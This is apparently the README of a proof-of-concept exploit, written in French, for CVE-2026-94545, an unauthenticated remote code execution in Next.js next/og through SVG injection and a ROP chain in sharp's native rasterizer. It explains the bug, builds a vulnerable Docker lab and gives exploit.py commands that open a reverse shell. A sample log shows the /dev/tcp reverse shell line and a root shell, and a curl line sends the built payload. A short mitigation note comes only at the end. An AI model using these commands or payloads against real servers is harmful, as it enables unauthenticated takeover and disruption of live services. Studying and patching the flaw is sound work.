
Proof-of-concept d'exploit pour CVE-2026-94545, une RCE non authentifiée dans Next.js next/og via injection SVG et une chaîne ROP contre le rasteriseur natif sharp.
★ CVE-2026-94545 Next.js next/og injection SVG vers RCE native ★
https://github.com/user-attachments/assets/e297b40b-36ad-4a9a-b0c1-a64429bc0160
next/ogconstruit des images Open Graph en rendant du JSX vers un SVG avec Satori, puis en rastérisant ce SVG. Satori écrit le texte fourni par l'utilisateur dans le SVG sans l'échapper (CWE-116), de sorte qu'une requête peut fermer l'élément englobant et injecter son propre balisage SVG. Lorsque la route s'exécute sur le runtime Node.js avecsharpinstallé, ce SVG est rastérisé par des bibliothèques natives (libvips, librsvg, libxml2) plutôt que par le moteur de rendu wasm sandboxé. Une charge utile construite à partir d'une référence XInclude et d'entités DTD imbriquées corrompt la mémoire au sein de ce parseur natif. Le binaire officiel de Node.js est non-PIE, donc son code et sa GOT ne sont pas randomisés et une chaîne ROP fixe atteintexecvesans fuite d'adresse. Une seule requête non authentifiée vers une route d'image OG suffit pour exécuter des commandes en tant que processus serveur.
| Catégorie | Version |
|---|---|
| Vulnérable | Next.js 16.2.0 – 16.3.5 (runtime Node, sharp présent), Satori >=0.0.27 <0.33.5 |
| Corrigée | Next.js 16.3.6 / Satori 0.33.5 ou ultérieur |
Seul le chemin du runtime Node.js est affecté. Avec
export const runtime = 'edge', ou une installation sanssharp, l'image est dessinée par le moteur de renduresvg-wasm sandboxé et le bug ne mène pas à l'exécution de code.
ImageResponse est un point d'entrée.execve réussi remplace le worker, donc la requête HTTP se ferme simplement et le résultat doit revenir par un autre moyen, comme un reverse shell ou une commande qui rappelle le serveur.Une application Next.js minimale qui reproduit la configuration vulnérable. La route à /api/og rend
un ImageResponse sur le runtime Node, et sharp est installé afin que le rastériseur natif soit utilisé.
L'image fixe la pile exacte dont dépend la chaîne ROP (Node 24.20.0 non-PIE, Next 16.3.5, sharp
0.35.4 avec libvips 8.18.6, librsvg 2.62.91, libxml2 2.15.3). La première build récupère Node, installe
les dépendances npm et exécute next build, ce qui prend quelques minutes.
docker build -t cve-2026-94545 .
docker run -d --name cve-2026-94545 -p 3000:3000 cve-2026-94545
# sanity check: a benign render returns 200
curl -s -o /dev/null -w "%{http_code}\n" "http://127.0.0.1:3000/api/og?value=hello"
| Précondition | État dans ce lab |
|---|---|
| Next.js 16.2.0 – 16.3.5 sur le runtime Node | Next 16.3.5, runtime = 'nodejs' |
sharp installé, donc le chemin natif librsvg/libxml2 est utilisé | sharp 0.35.4, libvips 8.18.6, rsvg 2.62.91, xml2 2.15.3 |
| Binaire Node non-PIE pour une base ROP stable | Node officiel v24.20.0 linux-x64 (vérifié par SHA) |
| Route d'image OG accessible sans authentification | GET et POST /api/og, le texte de la requête va dans un <title> SVG |
| Chemin sortant disponible pour un reverse shell | bash et /dev/tcp sont présents |
La route vulnérable est POST /api/og. Elle prend le corps de la requête et le place dans un <title>
SVG avant la rastérisation. exploit.py construit ce SVG pour une commande choisie, encode la chaîne ROP dans un
<path>, et l'envoie à la route.
L'exécution la plus simple ouvre un reverse shell. Indiquez-lui la cible et une adresse d'écoute ; il démarre nc
pour vous, déclenche la requête, et vous remet le shell.
python3 exploit.py --target 172.17.0.3:3000 --lhost 172.17.0.4:4444
La charge utile est calibrée sur la pile listée dans Environnement, donc exécutez-la contre cette image ou un hôte avec la même build Node et sharp. Un succès remplace le processus node par votre commande, ce qui signifie que la requête HTTP se ferme et que le service cesse de répondre jusqu'au redémarrage du conteneur.
[*] Command: bash -c 'bash -i>&/dev/tcp/172.17.0.4/4444 0>&1' (49 bytes)
[*] payload bytes=24693 sha256=...
[*] Listener: nc -lvnp 4444
[*] POST http://172.17.0.3:3000/api/og (24693 bytes)
[*] Target closed connection (expected)
connect to [172.17.0.4] from (UNKNOWN) [172.17.0.3] 43118
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux 6e2b1c4a7f9d 5.15.0 #1 SMP x86_64 GNU/Linux
Le reverse shell s'exécute en tant que processus serveur, ce qui confirme l'exécution de code à partir d'une seule requête non authentifiée. Pour exécuter une commande sans listener, passez-la directement ; notez que la sortie ne revient pas via HTTP, donc la commande doit envoyer hors bande tout ce que vous voulez voir.
# single command, no listener
python3 exploit.py --target 172.17.0.3:3000 --command "id"
# only build the payload, then send it yourself
python3 exploit.py --target 172.17.0.3:3000 --command "id" --output payload.bin
curl --data-binary @payload.bin -H "Content-Type: text/plain" http://172.17.0.3:3000/api/og
next/og vers export const runtime = 'edge' afin que le moteur de rendu wasm sandboxé soit utilisé, ou supprimez sharp afin que le chemin natif ne soit pas atteint, et gardez les entrées utilisateur non assainies hors des enfants de ImageResponse.